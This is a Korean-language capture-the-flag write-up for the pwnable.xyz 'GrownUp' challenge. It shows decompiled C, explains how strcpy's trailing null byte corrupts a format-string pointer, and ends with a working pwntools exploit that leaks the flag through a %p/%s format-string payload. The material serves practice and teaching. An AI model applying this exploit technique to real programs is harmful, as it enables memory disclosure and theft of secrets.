[pwnable.xyz]GrownUp

setup함수는 설정해주는데 format_ptr로 format들 주소 가르키고 있다.

unsigned int setup()
{
  setvbuf(stdout, 0LL, 2, 0LL);
  setvbuf(stdin, 0LL, 2, 0LL);
  signal(14, handler);
  format_ptr = &format1;
  format1 = '%';
  format2 = 's';
  format3 = '\n';
  return alarm(60u);
}

메인은 간단하다. buf가 y인지 입력받고 read로 128바이트 입력받고 strcpy로 usr라는 bss영역에 값을 넣어준다.

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char *src; // ST08_8
  __int64 buf; // [rsp+10h] [rbp-20h]
  __int64 v6; // [rsp+18h] [rbp-18h]
  unsigned __int64 v7; // [rsp+28h] [rbp-8h]

  v7 = __readfsqword(0x28u);
  setup();
  buf = 0LL;
  v6 = 0LL;
  printf("Are you 18 years or older? [y/N]: ", argv);
  *(&buf + (read(0, &buf, 16uLL) - 1)) = 0;
  if ( buf != 'y' && buf != 'Y' )
    return 0;
  src = malloc(132uLL);
  printf("Name: ", &buf);
  read(0, src, 128uLL);
  strcpy(usr, src);
  printf("Welcome ", src);
  printf(format_ptr, usr);                      // %s
  return 0;
}

strcpy할때 \0이 붙어서 1바이트 추가되는 것을 이용하면 된다. read할 때 128만큼 채워주면 뒤에 1바이트 \0이 붙는다. 그거 이용하면 된다. 그러면 format_ptr에서 0x0000000000601160에서 1바이트 더 써지니까 0x0000000000601100이 된다. 그래서 포인터가 0x0000000000601100 주소 가르키니까 포맷스트링이 깨진다. 여기서 FSB이용해서 풀면 된다.

[y/N] 입력받을 때 16만큼 입력받으니까 앞에 y로 맞춰서 return 0 안되도록 하고 data영역에 있는 flag주소를 넣어서 스택에 값을 써준다. 그리고 fsb로 %p로 flag 주소를 찾은 다음에 %s로 출력해주면 된다.

exploit.py

from pwn import *

context.arch = 'amd64'
#context.log_level = 'debug'
e = ELF('./GrownUpRedist')
#p = process('./GrownUpRedist')
p = remote('svc.pwnable.xyz',30004)
flag= 0x0000000000601080

p.sendafter(':','Y'*8 + p64(flag))

payload = 'AAAAAAAA'
payload += '%p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %s'
payload += 'A' * (0x80 - len(payload))
# print len(payload)
p.sendlineafter(':',payload)

p.interactive()